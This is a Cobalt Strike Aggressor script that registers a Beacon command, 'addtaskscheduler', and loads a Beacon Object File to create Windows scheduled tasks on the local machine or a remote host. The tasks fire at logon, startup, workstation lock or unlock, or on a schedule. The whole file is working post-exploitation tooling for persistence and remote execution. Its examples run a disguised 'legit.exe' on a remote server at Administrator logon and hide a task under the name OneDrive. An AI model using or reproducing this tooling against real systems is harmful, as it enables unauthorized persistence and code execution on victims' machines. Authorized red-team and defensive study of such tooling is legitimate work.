addtaskscheduler.cna 6.0 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192
  1. # author REDMED-X
  2. beacon_command_register(
  3. "addtaskscheduler", "Create a scheduled task (local and remote system support).",
  4. "INFO:\nCreate a scheduled task on the current system or a remote host.\n\n" .
  5. "BASIC ARGUMENTS:\n[taskName]: The name of the scheduled task.\n[hostName]: The FQDN of the remote host or \"\" for the current system.\n[programPath]: Path to the program that you want to run like: C:\\Windows\\System32\\cmd.exe.\n[programArguments]: Arguments that you want to pass to the program like: \"/c C:\\Windows\\System32\\calc.exe\" or \"\" to leave it empty.\n[triggerType]: The trigger that signals the execution like: onetime, daily, logon, startup, lock, unlock. For more information, check the TRIGGER OPTIONS below.\n\n" .
  6. "TRIGGER OPTIONS:\n[onetime]: Create task with trigger \"On a schedule one time\".\n[daily]: Create task with trigger \"On a schedule daily.\"\n[logon]: Create task with trigger \"At log on\" (requires admin privs if set for another user or all users).\n[startup]: Create task with trigger \"At startup\" (requires admin privs).\n[lock]: Create task with trigger \"On workstation lock\" (requires admin privs if set for another user or all users).\n[unlock]: Create task with trigger \"On workstation unlock\" (requires admin privs if set for another user or all users).\n\n" .
  7. "TRIGGER SPECIFIC ARGUMENTS:\n[startTime]: Start time of the trigger in format: 2023-03-24T12:08:00.\n[expireTime]: Expiration time of the trigger in format: 2023-03-24T12:08:00.\n[daysInterval]: Interval in number of days. For example: 1 or 3.\n[delay]: Random time delay after the start time in which the trigger is hit. Use format \"PT2H\" for hours and \"PT15M\" for minutes.\n[userID]: Specify the user for which the trigger is set in format: \"DOMAIN\\username\" for domain users, \"username\" for local system users and \"\" for all users (requires admin privs if set for another user or all users).\n[repeatTask]: Set \"Repeat task every x minutes/hours\" option in format \"PT2H\" with a duration of \"Indefinitely\".\n\n" .
  8. "USAGE:\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" onetime <startTime> <(optional) repeatTask>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" daily <startTime> <(optional) expireTime> <(optional) daysInterval> <(optional) delay>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" logon <(optional) userID>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" startup <(optional) delay>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" lock <(optional) userID> <(optional) delay>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" unlock <(optional) userID> <(optional) delay>\n\n" .
  9. "EXAMPLES:\naddtaskscheduler TestTask \"\" C:\\Windows\\System32\\cmd.exe \"/c C:\\Windows\\System32\\calc.exe\" daily 2023-03-24T12:08:00 2023-03-28T12:14:00 1 PT2H\naddtaskscheduler NewTask DB01.example.local C:\\Users\\Public\\Downloads\\legit.exe \"\" logon Testdomain\\Administrator\naddtaskscheduler OneDrive \"\" C:\\Data\\OneDrive.exe \"\" unlock \"\" PT5M\n\n");
  10. alias addtaskscheduler {
  11. $bid = $1;
  12. $taskName = $2;
  13. $host = $3;
  14. $programPath = $4;
  15. $programArguments = $5;
  16. $triggerType = $6;
  17. $optionalArg1 = $7;
  18. $optionalArg2 = $8;
  19. $optionalArg3 = $9;
  20. $optionalArg4 = $10;
  21. # Verify user input
  22. if ($taskName eq "") {
  23. berror($bid, "Please specify a name for the new scheduled task.\n");
  24. return;
  25. }
  26. if ($programPath eq "") {
  27. berror($bid, "Please specify the path to the program that you want to run\n");
  28. return;
  29. }
  30. if ($triggerType eq "") {
  31. berror($bid, "Please specify one of the following trigger options: onetime | daily | logon | startup | lock | unlock\n");
  32. return;
  33. }
  34. if ($triggerType eq "onetime" || $triggerType eq "daily" || $triggerType eq "logon" || $triggerType eq "startup" || $triggerType eq "lock" || $triggerType eq "unlock") {
  35. if ($triggerType eq "onetime") {
  36. if ($optionalArg1 eq "") {
  37. berror($bid, "Please specify the start time of the task in the following format: 2023-03-24T12:08:00.\n");
  38. return;
  39. }
  40. }
  41. if ($triggerType eq "daily") {
  42. if ($optionalArg1 eq "") {
  43. berror($bid, "Please specify the start time of the task in the following format: 2023-03-24T12:08:00.\n");
  44. return;
  45. }
  46. }
  47. }
  48. else {
  49. berror($bid, "This trigger option is not supported. Please select one of the following options: onetime | daily | logon | startup | lock | unlock\n");
  50. return;
  51. }
  52. # Read in the right BOF file
  53. $handle = openf(script_resource("addtaskscheduler.o"));
  54. $data = readb($handle, -1);
  55. closef($handle);
  56. if ($triggerType eq "onetime") {
  57. $arg_data = bof_pack($bid, "ZZZZzZZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
  58. }
  59. if ($triggerType eq "daily") {
  60. $arg_data = bof_pack($bid, "ZZZZzZZiZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2, $optionalArg3, $optionalArg4);
  61. }
  62. if ($triggerType eq "logon") {
  63. $arg_data = bof_pack($bid, "ZZZZzZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1);
  64. }
  65. if ($triggerType eq "startup") {
  66. $arg_data = bof_pack($bid, "ZZZZzZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1);
  67. }
  68. if ($triggerType eq "lock") {
  69. $arg_data = bof_pack($bid, "ZZZZzZZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
  70. }
  71. if ($triggerType eq "unlock") {
  72. $arg_data = bof_pack($bid, "ZZZZzZZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
  73. }
  74. blog($bid, "Tasked to create scheduled task..");
  75. beacon_inline_execute($bid, $data, "go", $arg_data);
  76. }